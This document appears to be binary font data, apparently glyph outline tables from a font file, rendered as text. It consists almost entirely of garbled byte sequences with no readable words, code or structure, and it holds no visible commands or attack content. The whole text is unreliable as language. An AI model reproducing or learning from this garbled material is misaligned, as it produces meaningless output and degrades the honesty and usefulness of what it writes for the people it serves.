hD!&!5#"&5!32654/&763!!!3276=!!5#"&5��<-0��Q�m��hG.p�OQ,7�_�G.p@@f��Q�m��,"X\�Тb]���p[��.�w#&����7��bz�L���69#&VW���0�b]����V
f?!&!5#"&5!32654/&763!>32!54&'.#"!��<-0��Q�m��hG.p�OQ,7�]Q�n���
H.p���,"X\�Тb]���p[��.�w#&����7��bz��b]��Vo��n#'���/��V
f@G!!#"'&5!3265#"'&76763!!3265!!5#"'&55#"3,�nQ�m�bfhG.p���ihls�4bG.p�f��Q�m�ef��΃�`���Lb]w{�|�*<#&��)^]��RW�Lp[��.�w#&��)���b]wv���S`��V
V!&!5#"&5!32654/&763!676323265!!5#"&=4'&'.#"!��<-0��Q�m��hG.p�OQ,7�]l[n��G.A�f��F6[m��H.C@@��,"X\�Тb]���p[��.�w#&����7��bz��Z6/��V�*<#&��)���u/��V�H1 #'WX��/���B�`&0�z�u=32673 &u�c�c���Ȯ=FJJF������B�`&D�d�N�`676745!#!3୏0!K'Ah��{�@�`���b�8��q��~lC%T��`	!!4>7!>5!W��i��>]��6^g;���f>^I7^ho��K�o��&S�qRo���o(��X�uTX�`#!!5!ڷ����r��r��:`!!4.#!5!2��m��	,QfM� �șa=�.JW�
�Tn\2#�?\��X�`!2#!5!2>4.#!X��_$$_���RzJ--JzR�`Ai�����iA�!7U[v[U7!X��!!!!@!��K5��rx�v��V�:`)!2!4.#:��7�݉8���;^Q`<�ئ[�|)n�QX�`
!4&#!5!2��c���8�݉8��̏�<��`���`!4.#!#"'53265#5!2��&O?����VeK2.�C{�uHZ��[GXR&�:���]v��.S����!5!3!��
�
�����(�'"��@��(�'�@��(�'X�'"��@��(�'X�'"�\@�����'`&'����C'`&'�����'`&'��X�`'��(��X��X`'�!)��X\`'��*����`&+��Y�`'��,���Y�`'��-�������m&/��YP�`'���0 ��X��`'��1��X`'��2��X7�'�Q3��Xn&05��X�`'�!7������`&8�����`&:����`&0;��C�`'�!=����H_&�>��X`'��?��(`'9�
@�����`&A����'"��,��X��' �q(��X�' �A2�����& ;X8�365!!!%'#�jUf��\���[Q��[����)=����W@�;$?���@vu����^�&��������'�����UX'R�����XX'R� ����^�&��������'�����jX'�����XX'� ����^�&��������'�����jX'�����XX'� �����^�&�������'�����U'R�����X'R� �����^�&�������'�����j'������X'�� �����^�&�L��������'L�������a'L���p����Xa'L���p ������J&��������	�J'��!�����J'��"�����J'�#������J&��������	�J'��!�����J'��"�����J'�#�����f&[�������f&������='l�������='l�������f&[ 2�����f&������='�������='�������f&[ ������f&�v<����='�������='�������f&[ ������f&��i����='�������='����}���R&]g���}���R&�g���}����&]6��}����&�6��}����&]6��}����&�6��}����&]L�����}����&�L���������&_X\������'X\������(/&_L �>�����/'L �>������1����E2%! '$&7!32767654'&54767;#"ѽ���ϒ��@f3�Q���gN��2
%b���D�$0#7A��K]$?.�\^Zc:#=$$d|?O#!� 6��.)��0$������������������1G&�<�����EG'<$�����G'<�������G'<�������1G'R��������EG&(R��������G&)�������G&*������1G'�������EG&(������G&)K������G&*K���~��<��~�GL&;#&'#"'$47!32767654'!�(
�i0?�+]豌����(f*�7N8=�7!ef
a���;b��-",ck�����J8�_w��-��~��<'LE�%���~�G&4LE�+�����a'L���p����Xa'L���p �����
����!(0 !!!"'0#"'&547!;5424&/>54"v�T����-��i>��f3%.8e��A%d��a�m���q���%7�K5"S9�0�q{d���:1�v����
�����\���������'qFl�������&�qF�����l&�K�����l&�K�����`2&qx7�%�����2&�x7�%�����`r'�q�>q�����r'�q�>������`C&q�n�/�����C&��n�/�����`�&q� ������&�� ������&r�����,S'������UX&R�����XX& R���UX
#!3276=!UD@���bD,1fs�a\,1j���XX!#"'+3276=!;X�nMMn�bD,1f1,Dbmm,1j��j1,����$��r�����,S�����jX'��M����XX'��N��� #4%$3��o
�b�rIG�?.�Z52#&$�b�
�or�.?�GI�
'/&'&#"#67632�],$V5H�qp�o?t?#
$0)�JI
�'327673#"'&'�],$P;I�qp�o?t�#
$,-�JI��:���t�^������'t�^i��:��
u�^i�k
;# '&=!�1)fK���rsfT(�LL�"��:����v�^��:���w�^������'w�^i��:��
x�^�����
'x�^i��:�����y�^������'y�^i�����z�^������'z�^i��J�n{�^�����'{�^i���(�O������&U|�_�����'|�_������&U}�_^����&�}�_^�����`�'}q�>q������'}q�>�����&U~�_����&�~�_����$��&r}&�>�����,�'}�D�����U'}���pM����X'}���pN���U�
!;!"'&�f1,Db���@Ds���j1,�\a�����^�&����������'�������UX'W������XX'W�� ��b��R&p,�����'��������^R&��������R'�����j�'�R����X�'�R �����^L&��������L'�����j�'�R����X�'�R �����f&[�#�����f&�������='q��������='q��������f[���f/;#"'&'&'3 7!$'&54767&$3 &#&�I=TBV�yG<2mS�gZ�-Τ���KȜ�f�T��_�`"
B<�w��X|kH#C��yj\���ƚ޳�}N)?&���=&'&'&672+327676cKq^�G�HK��[q��s���d΋�m`�

#2H� BL\O%""$E=���=(+3276767&'&'&672;#"'&�Rc��¾�d΋�m`_Kq^�G�HK��/;WBV�k4
;<S!""$E=0

#2H�1D�u9������&[q������'q�����=&�q������=&�q���}���R]}���R;#"''7676'&'!�?,IK��6}����m�I>�q�.�o?,�ii7�=-RW�y��3R��}����&]���}����'�������&_���&%! 7676'4'!;#"�&��75��OI4f	":,IK�VQ9�beDCme��y" };,�������&_�������'������
`�a��c�F%765!325!;!"'#"'&'#"'#"'$47!32767654/!J%f$B}f1,Db��P1XO=wQ:�
#�HFVDNx�`��i��ifl�&5nNY':@f$�8b��2_�&��j1,�47Ha�$Z�v�@$eUĴΪ�):CDhtz@�J<9���5�-%#!3276/!765!325!#"'&'#"�JW��bD,2f-SG%f$B}f\H�CqQ:�
#�HF�NN,2i��$b;6T��2_�&���qYHa�$���8�4#"'&'#"'#!3276/!765!325!;!"'CqQ:�
#�HF�SJW��bD,2f-SG%f$B}f1,Db��P1XHa�$`N,2i��$b;6T��2_�&��j1,�47����
`�'� a����c�'� ������5�'* ������8�'* �����
�c��
��9F!"'&'#"'$47!32767654'!67632;#"'!327654'&#-=DNx�`��i��ifl�&5nNY':3J
$h����w�G-*BV�X��cCD�~v;51KnC�v�@$eUĴΪ�):CDhtZ�(--�{i3c�29#�x
[2/7O2���+%#!3276/!67632)"'&%327654'&#�ld��bD,2fCh����w縮�n��g_L�D�~v;51KnCrr,2i��e5�{i3c��`[�2/7O2����'4%)"'&'#!3276/!67632;#"'%327654'&#^��g��g_L0ld��bD,2fCh����w�G-*BV�X�iD�~v;51KnC[[<r,2i��e5�{i3c�29#�x�2/7O2����
�'_c����
��'_������'qC�������'qC�����e��(%)!!67632;#"'%327654'&#
��g�t�OPf�����w�G-*BV�X�_D�~v;51KnC[[�V�ei3c�29#�x�2/7O2���327654'&#)!!67632�D�~v;51KnC�t�q.f�����w縮2/7O2���V�ei3c��`[���()!!67632;#"'!327654'&#{�q.f�����w�G-*BV�X��gCD�~v;51KnC�V�ei3c�29#�x[2/7O2����&eoC����'oC������'�C������'�C������*gu��.!7$7!$'&54767&'&547676 ;# '�gZ�/̤���'��WR5+
hY�Yh
!T)<��`v�3ےNYN�������tp***"+74--47)$**/A#.��Y���*767+327&'&7676%&�x<[K����هn��d':����@Vn(=0b�^_s)T@a���Z����$%+32767&'&547676 ;#"B��v`i;+T!
hY�Yh
!T+;i`v棣.
+A/**$)74--47)$**/A+
.������7&g����u��='?�������7'��������='���������&�ro�����	�'ro!�����'Xo"�����'�o#��k�H�&��~��k�J�'�9$�����'�~%�����'~&������l����!D&#"'5327654'&'&7676'$'$547!3276765!;!"1;5P&#fWR�B8D-U <N@ KRn����f��f�:}sey3If1,Db��K�s+ Un*'y	))/.P'+��GX�K5".;!'Da����j1,����)!27654'&54767��rN��2
"e���D�ej'$$d|?O#!�!6��.*���Z�HK���$%#!!27654'&54767;#"Gj��rN��2
"e���D�$0#7A��KK'$$d|?O#!�!6��.)��0$������9m���8%%$&7!7676!;#"�p�������@fG����=Nf1,D^�B�RaUL!�\f�r"-4Laj��M1,���U
#!32765!UD@���bD,1fs�a\,1jM��X#32765!;#"'#bD,1f1,Db�nMMn,1jM��j1,�mm����G�n��Z|"4%# '&!4767'47632;#"'%654'&'&32�x��R%��x�[�M��O�10|K��$��" ( 
;'%UCD 9��|�EU��?$?ji#"�;�)4���^|,%654'&'&32%67632#"'&'+3276�"&(<;'�C$lM��O�bx��|@h�u>7.�)!(�`X?$U�50�EUC0&���q|!3%#"'&'+3276767632;#"'%654'&'&32�x��|@h�u>7.$lM��K�/0|K��$��"&(<;'%UC0&?`X?$Dei#"�;�)!(��~��<�&����~�G'�{4����U�&MWC����X�&NWC��b��R�p���%&'&'32&5!;#"'&''"'&5476�_)-Daf#)DK�\GBl�8:��j=(3
 #60�!ȎR,�"#A0���D��

+9654'&#"&'#"'+327&'&5476327654'&%c'.�W:��B^z��i��kON6
$x.m"*<z$J<-&!-#�9Һ�49�Wqg$>HEpb&��>2=8C!$=��\�$/6763$!!%"'&'#!327654#"3254'&#����xW�x���Wx��؈��-IT_dH-66-Hd_TIĢ�U@hx���xh@U���DM419G��vG914MD�����`�q����!0!"'&'&547676763#!7676&'&;4� c�]b�m��_Y5��	?_���אַWe=/'*#$"zQT�4,�8*:7�9Q�[e�JS6@�)'-'����$��r���,S3#'$'&7!32765&'&'&5476763 ;#"'&#"ľ���T��@fF�3����60J2L�gV5=�nZD-9B�)i��[e�D*#("%%Tb/I#�����&,x�������&r������,S'�������jX'��M����XX'��N������$'|�	,�������''|�	,���D��$�'}�	����D��'�'}�	����T�$&�~�^��T�''~�^�T��$!"'5767!6765!$�;I�V�jh�jO�j�%fB���[A�*�%,y�A+7���T��'%!"'5767!6765!;!"'&��q�jh�jO�j�%f1,Db��r6%��*�%,y�A+7�����j1,�?*2���h!%	546?>54$#">32!tB�����*D@^N��]�yf�QV`59@jBih����B��--K>9Y�b��(*��BCOF.\4:bR1���dd��T�
	!%!�U������U!����u��ou}�������"7>54&#7>54&#63 !"'�S����0S�z~���f�{���������qi��hGElk��z7XV����������d��@�		l����4����~�33!67676'.'Ȗ���*@������JL	�������h���Ѵ2%&T]Y�l���
%!%%��0�B�0�B�0����H�P��H�P�����	!%��0�B�0��b��H�P���f�#3!3#f��0�������,},���!!!!!����p��p��+w2���������# $&6$ >7!!!%!.�z�����zz� : �z��t�$����$��:t�.:$�N���{{� : �{{��%�t��;t�.;%���t����)!��,�����
)!	��,$��s���9�������z�	#!����,�}���	��3		!�����_�3�3�C���?�3��_�3v��R�3		!���_�C���?��_v����!!!!!!!!��,v2��22��2�+���2��2����3��3�����'2"&464."26$ $&6$ _zYYzY'KK~���~KK~����z�����zz� : �z�YzYYz�����~LL~���~LL���{{� : �{{���_�654$#"#!63 N���Ԭ�s�[vX������������3!	!3���>�>����+�>�$�����4."26!&'&> f8ara88ara e��ԿeD����ra88ara88f�:��:�v뉉�����2654& #!6����T���dq�Ԏ��|~������i$�������			>^����8^����L�������^^��d �%!% \����L\���|�H����!!$����,����������x�	7			'N�H����H�����W���������������%)5&'&547675!6764'&��ԭ��Ň�,���Ň���:1cc2e:1cc2�&|����{'��&|����{':.-Z�Z-��-Z�Z-dl�)7!������,����n�f}�������L�4&"2 7& $4&"2 X|XX|ݧ��������t��X|XX|9|XX|X�r���������r�|XX|X�X�!!63$654&X���Ԁ�%������������������QO���X�%"'0! %654&X�����,9+��������������OQ�d4�!!!d�,��U,T�+UdT�2"&4%	zYYzY
�������YzYYz��}u��su�������d��T�		%�U�����U��us��u}�����x�dz�	!d�&�@��v����5��v����!5!5!)5!���S2S����R���������=�'�]bC���7�'cF�X���:�
'b:b���;�
'bc<���=�
'b�]����H'b'b�&bb�����H&c'b'b�b�����H'b'b�'b�� ����H'c�'b&bb�����H&c'b'b�c�����H'� 'b�'bc�����H'b'b�&�b����H'b'b�&�c����H&�'b�'b� ����H'b�&b'b�c����H&c'b�'b�c����H'c'b�'b�� ����H'b�'c'c�b����H'c�'c'b�c����H'b�'c'c�� ����H&b'c'b������H'c'b�&c�����H'� 'c'b������H'b�&b'b� ����H' 'b�'b�c����H'b�'b�' � ����H' &b'b�c�����H'c�'b�&c ����H'c�'b�'�  ����H&b&�'b� ����H&c&�'b� ����H'� 'b�&� ����H&b'b�'bc�����H'b�'b&cc�����H'� 'b�'bc�����H&b'b'c�c�����H'c�'b&cc�����H'c�'b'� c�����H&b&�'bc�����H&c&�'bc�����H'� 'b&�c�����H'c'b�&bc�����H'c'b�&cc�����H'� 'b�'cc�����H&b'c�'cc�����H&c'c'c�c�����H'� 'c�'cc�����H&�'c&bc�����H&�&c'cc�����H&�'c'� c�����H' 'b�&bc�����H&c'b�' c�����H'� ' 'b�c�����H'c�&b' c�����H' &c'c�c�����H' '� 'c�c�����H' &�&bc�����H' &�&cc�����H' &�'� c�����H'b'b�&b�����H&c'b'b������H'b'b�'� �����H'c�'b&b�����H&c'b'c������H'� 'b'c������H'b&�&b�����H'b&�&c�����H&�'b'� �����H&b'b�'c�����H&c'b�'c�����H'c'b�'� �����H'c'c�&b�����H'c�'c&c�����H'c'c�'� �����H&b'c&������H'c&c&������H'� 'c&������H&b'b�' �����H' 'b�&c�����H'b�' '� �����H' &b'c������H'c�&c' �����H'c�'� ' �����H&b&�' �����H&c&�' �����H'� &�' ��	3	!#!!���"���\�x�w9�:�4]����x�i�+���"+33%! )327&#'327&+67654'&676'&4���`7fa|����c��F<<F��F<<F��T1WW1K0aa0]��x��m�%$���\x��$4~�:"����#F6F#�9�! )327&#!36'��TMwiffix�����j�������'�����ate������eta]�6z5���]Z����3%!!!!!!���2�rg�����]��xx��x��x���
3%!!!!!���2�rg���\]��xx��x�2f����'&#"32767!5!# !2&�|�ԙ�Ƙ�id� X��ʥ���L���yv�m��^E�iA )	x�2FF�ei�87�R�����έ�!�!#3!53#!#3��xx�lxx����x�xx����f`�
6765%!!#5327654J1p������q<x=>]��SC. -f��x�����xCC����#3!3	#贴���&�r���]�x��o�@���;��	%3#'!!!4��x����x�x��x���!#!!	!3!3�_G�b�\�}�Դ�!�]��>����+]���f��f�%% 7& 676'& ! K{@{{��{}��L���Lh��h�����g��43�34�����Ь���01��d�����d�jk����-�@654&/&'&54.#"!"$'532654&/.54$!2~sLL���;;��Ѥ�:'R{�h��Zt����ӎ�⏏|~�Z���� {�U�x]\3(5TU�Q:O舼3(1kH�5DD]b{T(<����65�[\e]�Z%(=����%%
��!!!)#3
���\����x��]������#%&5#676#!3265!! 6�~-�?-~���r�p����������l������x**x	�V��޹���"�����6=
�
%!	!	3!��0��������Xx�]�A��+=h�%#!#	!	!	3!	!���*�5��*�>��{���Y���Zx��]��=��=�+o��2@�%#!	#	!	3U�y����(�����������6x�x��z[�������!	3!3#����\x�����
��u���X��{#,4%34'&'!5#"&54$!354&#"5>3 5#"676Դd+H#,�\H����"ӆ�s�Uz�z@�\�G;�q:�4C*SH0x�T%<N���f]ˢŸ�UO..��8��H��9�C-[��I
#%27&#"'!!>32#"&36a�����\�J�t�
���u������[�����G���b]������\]��$�?��hDGX��6{ .#"3267# !26]�Mx]]xL�\T�W���V/X�U�\ ���%!��!%�7*7�lz��y[��I
#%267.#"%#"32!!#3C����{J�u��
�t�J��\,���Ŵ�[�����\Gc\II]bX�����ce����hX��
{ %# ! !32%!&'&#"�����K"=��Zr�����x~i~�fD015:���9�|c�|����w<���k/847&3#"!!!#5354763C�,3�-��:9��|�\��WX���[5>|���x97�Fx�$�xZ�TV\�FJy
(4<6765#'!!"'&'5326=#"54323276'&#"2	
B1��x�����ogkf^�[��J�u���u�J�e�bjjb�w/'jj'�a'j�wx����!�65���b\C��A\c��v���u��3.��b�/nN%)!4&'.#"!!>32%34'&'3�
H.p��\�W�v��ԴMB�	
�Ĵn�n#'���u��b]��Vx2�TH%!A1�.��$�13%!!!!�����\h���px�������F16765#!+73265!!�Z4M�x����>fKh����9U���G����s\�<����3!!3	#$�x�\�t�HѼ�g���$�d�u����(��%&5#3#"&5�'�N3�Lf���T�
�2�U9��~�\s��Fn�{!M334'&'34'&'4&'.#"!!>3267>32!4&'.#"���MB�	
<�MB�	
�L
H.p��\�W�v�m0W�v��\
H.p��p��2�TH%!A1��
2�TH%!A1���n�n#'���u`�b]w5J b]��Vn�n#'���unN{%)!4&'.#"!!>32%34'&'3�
H.p��\�W�v��ԴMB�	
�Ĵn�n#'���u`�b]��Vx2�TH%!A1�z��pX��'{	# ! 327&#"676'&�!E������G$~~�RgeQQegR�%~~{����8(8�(x�>xH|1��x�x[�VI{
#"327&>32#"&'!!3#6'a������J�u�
���t�J�\��Դ�;�������Gc\������]b���p��eGDh\�VH{
%"3267.05!!#"32#0D������^J�t��
�u�t��y��\����G���Lb]II\�����Xi�����*{3.#"!!>32$�R/]/���\�E�}*(�p-���p`�nej��b{B>54&/&'&5432654'&/&'&54632.#"!"&'7U��?~3k>5�>|4b�k�tij$%m?�c`�cڀs�_fcKa?^_����o�}�2��	&:�/*[E��%
&Es%�->?FD:	"daƲ� �::=@47
,_`γ�##7��
#&'4'!!;!"&5#53�?2j$x{��Ks��Xբ��&�K�#D\O��x�s�Nx��kxJd��D`%)3265!!5#"&5#&'&'&'&5#
H.p���\W�v��,�MB�	
<�`���n#'������b]���x�εTH%!A1���p���`
%#	!	3!���Z����m��xp�����H�`#3#3!!3!!����'�������y�����������p���������(\`	3%!	3	!	#���\�d������(���^�px��e�9�ge����F`6?'#%3+532767!�

D1����)H]_���q>

���k|!�qx�6�JJx1
Y��\�`
#3!!!5!����
��N��N����x��xxp��
'�$�����%��f��\�&���9�'�����(�����)��f����*�����+�����k�����f=�-���q�.�����/���9�0�����1��f��f�2�����3��f��f�4����5�����-�6��
j�7�������8��
'�9��=��:��'�;������<��\q�=��X���{D�����^E��X��5{F��\��G��X��
{H��'�I��\�FyJ���K���L�����FM���yN����a����{P���{Q��X��'{R����V^{S��\�VyT����{U��j��b{V����W�����`X��`Y��H`Z��
`[���F`\��\F`]��
'�'�����(�����)��
'�*�����+��\q�,�����-��f��f�.���=�/���q�0��
'�1���9�2�����3���b�4��f��f�5�����6�����7��f��f�������8��
j�9������:��ff�;��'�<��s\�=��7��>�������c��)yF����V_0G���VU`H��Y��($I��n���{J��Y�VUK����V{L��X��($M������`N���=`O��=�P����T�`Q��`R��Y�VUS��X��'{T��V���`U����V^~V��X�V5{W��X���`X��+���`Y�����	`Z����V�j[��4�V�`\����V�`]��X���`^��;��e������g{���i���$f��o���c���{�V�j����F^~���.���`kb��/�'%'&'676! ! &#"32�0&��&1�&00&�x������@'&@�/DQRDDRQ��"/������/!J�/"�y"/�I���m�st��m���	���%3#!5%!!!r���6R��[�T��x��HxH��x���%%367654'&'"5$ %!5654&5�<|>Ic6\D%$XŹ��SB��-���yx��t�Y�]3n��eclԵ�c���w�|���
��w���������!&.!"'5327&#!5!27&#"563 65467>4&��4������%��tU04��80,C[�� ��D�Ϲ�&d8Xq��EP����J~D{x<	}@��+E������
Dt��\3�	!#3!3#!!5���,�������\����/6�]�Rx�Q������# !!63  '527&'#6676'&������!#0��������W�?0mm0�]Hx���^�V�Y0�k��{��'W-W&��#� )632# !2'& 676'&'&#"2PYk������uEʾ&�������7-xi/D}!mVH�N�p��7�����@
:j����X�)oac.��!�0��
	3%!!!�����y��>+�Q]��xx��]}���'/8BJ.54$! ! $546'&'67%6764'&'&#"27&#"32%�����������כ�m,CD,��d#44#D5#dd#�7AC87�89BA79BA��D,lm,)���ž�)*�����ސ��FQ!��">�F�)�$F�F(������}V"Q��S!n��� )%#"3 !"'5 76'%327&"AYk���:�4?����ʾ&�:���	7-xi/D}!mVH����!�v�&�Y@
:j���)o��c.�!���b��/�������������������\3�����������#��������}�����j����F
!;3#!.����	Y_�$���F
!;7!'!%3�	Y���ٍF����%��=�F
!;"4767632"'&'&!'!%30&$I��	Y���ٍ�$$%������%��=�F
!;,048"'&'&4767632"'&'&4767632!'!%3�$$%��$%$�	Y���ٍ?H%$HG������%��=�F
!;+AEIM"'&'&4767632"'&'&476762"'&'&4767632!'!%3�$$%��$H��$%$�	Y���ٍ?H%$	JHHG������%��=�F
!;+AW[_c476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3'H$%$%H��H$%$%H��	Y���ٍ�$J��J%$J%$S$J������%��=�F
!;+AWnrvz476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3'H$%$%H��H$%$%H��&$I��	Y���ٍ�$J��J%$J%$S$J�$$%������%��=	�F
!;*@Ui���"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3�$H%$H��J&$UJHJH�~J&$�	Y���ٍRHJ��%$HG$$%$H��GH%$H������%��=�F
!;!476762"'&'&!'!%3�JH��	Y���ٍ�$$%������%��=�F
!;,048476762"'&'&%4767632"'&'&!'!%3�JHd&$I��	Y���ٍ�$$%%$$%������%��=�F
!;,BFJN476762"'&'&"'&'&4767632"'&'&4767632!'!%3�JH�$$%��$%$�	Y���ٍ�$$%��H%$HG������%��=�F
!;,AW[_c476762"'&'&"'&'&4767632"'&'&476762"'&'&4767632!'!%3�JH�$$%��$H��$%$�	Y���ٍ�$$%��H%$	JHHG������%��=�F
!;+AWmquy476762"'&'&476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3�JH]H$%$%H��H$%$%H��	Y���ٍ�$$%.$J��J%$J%$S$J������%��=	�F
!;+AWm����476762"'&'&476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3�JH]H$%$%H��H$%$%H��&$I��	Y���ٍ�$$%.$J��J%$J%$S$J�$$%������%��=
�F
!;*@Vk����476762"'&'&%"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3�JH�$H%$H��J&$UJHJH�~J&$�	Y���ٍ�$$%�HJ��%$HG$$%$H��GH%$H������%��=�F
!;+/37"'&'&4767632"'&'&5476762!'!%3rJ%$��$J�m	Y���ٍ@H$%$%H������%��=�F
!;"8N4767632"'&'&!'!%3"'&'&4767632"'&'&54767620&$I��	Y���ٍ��J%$��$J�$$%������%��=H$%$%H�F
!;,048Nd"'&'&4767632"'&'&4767632!'!%3"'&'&4767632"'&'&5476762�$$%��$%$�	Y���ٍ��J%$��$J?H%$HG������%��=H$%$%H�F
!;+AEIMcy"'&'&4767632"'&'&476762"'&'&4767632!'!%3"'&'&4767632"'&'&5476762�$$%��$H��$%$�	Y���ٍ��J%$��$J?H%$	JHHG������%��=H$%$%H	�F
!;)>SW[_t�476762"'&'&476762"'&'$476762"'&'476762"'&'&!'!%3"'&'&4767632"'&'&476762'HIIH��HIIH��	Y���ٍ��I%$��$I�$I��I%$I%$S$I������%��=HIIH
�F
!;+AWnrvz��476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3"'&'&4767632"'&'&5476762'H$%$%H��H$%$%H��&$I��	Y���ٍ��J%$��$J�$J��J%$J%$S$J�$$%������%��=H$%$%H�F
!;*@Ui�����"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3"'&'&4767632"'&'&5476762�$H%$H��J&$UJHJH�~J&$�	Y���ٍ��J%$��$JRHJ��%$HG$$%$H��GH%$H������%��=H$%$%H�F
!;+AEIM"'&'&4767632%"'&'&4767632"'&'&5476762!'!%3rJ%$��$$%��$J�m	Y���ٍ@H$%�JI	$%H������%��=�F
!;+AX\`d"'&'&4767632%"'&'&4767632"'&'&54767624767632"'&'&!'!%3rJ%$��$$%��$J�&$I��	Y���ٍ@H$%�JI	$%H�$$%������%��=�F
!;+AXnrvz"'&'&4767632%"'&'&4767632"'&'&5476762"'&'&4767632"'&'&4767632!'!%3rJ%$��$$%��$JV$$%��$%$�	Y���ٍ@H$%�JI	$%H��H%$HG������%��=	�F
!;+AXm����"'&'&4767632%"'&'&4767632"'&'&5476762"'&'&4767632"'&'&476762"'&'&4767632!'!%3rJ%$��$$%��$JV$$%��$H��$%$�	Y���ٍ@H$%�JI	$%H��H%$	JHHG������%��=
�F
!;+AWm�����"'&'&4767632%"'&'&4767632"'&'&5476762%476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3rJ%$��$$%��$J�H$%$%H��H$%$%H��	Y���ٍ@H$%�JI	$%Hz$J��J%$J%$S$J������%��=�F
!;+AWm������"'&'&4767632%"'&'&4767632"'&'&5476762%476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3rJ%$��$$%��$J�H$%$%H��H$%$%H��&$I��	Y���ٍ@H$%�JI	$%Hz$J��J%$J%$S$J�$$%������%��=�F
!;+AVl�������"'&'&4767632%"'&'&4767632"'&'&5476762!"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3rJ%$��$$%��$JI$H%$H��J&$UJHJH�~J&$�	Y���ٍ@H$%�JI	$%HHJ��%$HG$$%$H��GH%$H������%��=�F
!;)>SW[_476762"'&'&476762"'&'$476762"'&'476762"'&'&!'!%3�HIIH��HIIH��	Y���ٍ�$I��I%$I%$S$I������%��=�F
!;!6K`u4767632"'&'&!'!%3476762"'&'&476762"'&'$476762"'&'476762"'&'&0&$I��	Y���ٍ�HIIH��HIIH�$I������%��=m$I��I%$I%$S$I	�F
!;,048Ndz�"'&'&4767632"'&'&4767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&�$$%��$%$�	Y���ٍ�H$%$%H��H$%$%H?H%$HG������%��=m$J��J%$J%$S$J
�F
!;+AEIMcy��"'&'&4767632"'&'&476762"'&'&4767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&�$$%��$H��$%$�	Y���ٍ�H$%$%H��H$%$%H?H%$	JHHG������%��=m$J��J%$J%$S$J�F
!;+AW[_cy���476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&'H$%$%H��H$%$%H��	Y���ٍ�H$%$%H��H$%$%H�$J��J%$J%$S$J������%��=m$J��J%$J%$S$J�F
!;+AWnrvz����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&'H$%$%H��H$%$%H��&$I��	Y���ٍ�H$%$%H��H$%$%H�$J��J%$J%$S$J�$$%������%��=m$J��J%$J%$S$J
�F
!;*@Ui�������"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&�$H%$H��J&$UJHJH�~J&$�	Y���ٍ�H$%$%H��H$%$%HRHJ��%$HG$$%$H��GH%$H������%��=m$J��J%$J%$S$J�F
!;!7Mcy7!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&�	Y���ٍ�H$%$%H��H$%$%H��JHF����%��=m$J��J%$J%$S$J�$$%	�F
!;"8Ndz�4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&0&$I��	Y���ٍ�H$%$%H��H$%$%H��JH�$$%������%��=m$J��J%$J%$S$J�$$%
�F
!;,048Ndz��"'&'&4767632"'&'&4767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&�$$%��$%$�	Y���ٍ�H$%$%H��H$%$%H��JH?H%$HG������%��=m$J��J%$J%$S$J�$$%�F
!;+AEIMcy���"'&'&4767632"'&'&476762"'&'&4767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&�$$%��$H��$%$�	Y���ٍ�H$%$%H��H$%$%H��JH?H%$	JHHG������%��=m$J��J%$J%$S$J�$$%�F
!;+AW[_cy����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&'H$%$%H��H$%$%H��	Y���ٍ�H$%$%H��H$%$%H��JH�$J��J%$J%$S$J������%��=m$J��J%$J%$S$J�$$%
�F
!;+AWnrvz�����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&'H$%$%H��H$%$%H��&$I��	Y���ٍ�H$%$%H��H$%$%H��JH�$J��J%$J%$S$J�$$%������%��=m$J��J%$J%$S$J�$$%�F
!;*@Ui��������"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&�$H%$H��J&$UJHJH�~J&$�	Y���ٍ�H$%$%H��H$%$%H��JHRHJ��%$HG$$%$H��GH%$H������%��=m$J��J%$J%$S$J�$$%	�F
!;":Pf|�7!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632�	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$F����%��=�%$J��&$$%H$%$%H��H$%$%H
�F
!;"9Qg}��4767632"'&'&!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&547676320&$I��	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$�$$%������%��=�%$J��&$$%H$%$%H��H$%$%H�F
!;,048Og}���"'&'&4767632"'&'&4767632!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632�$$%��$%$�	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$?H%$HG������%��=�%$J��&$$%H$%$%H��H$%$%H�F
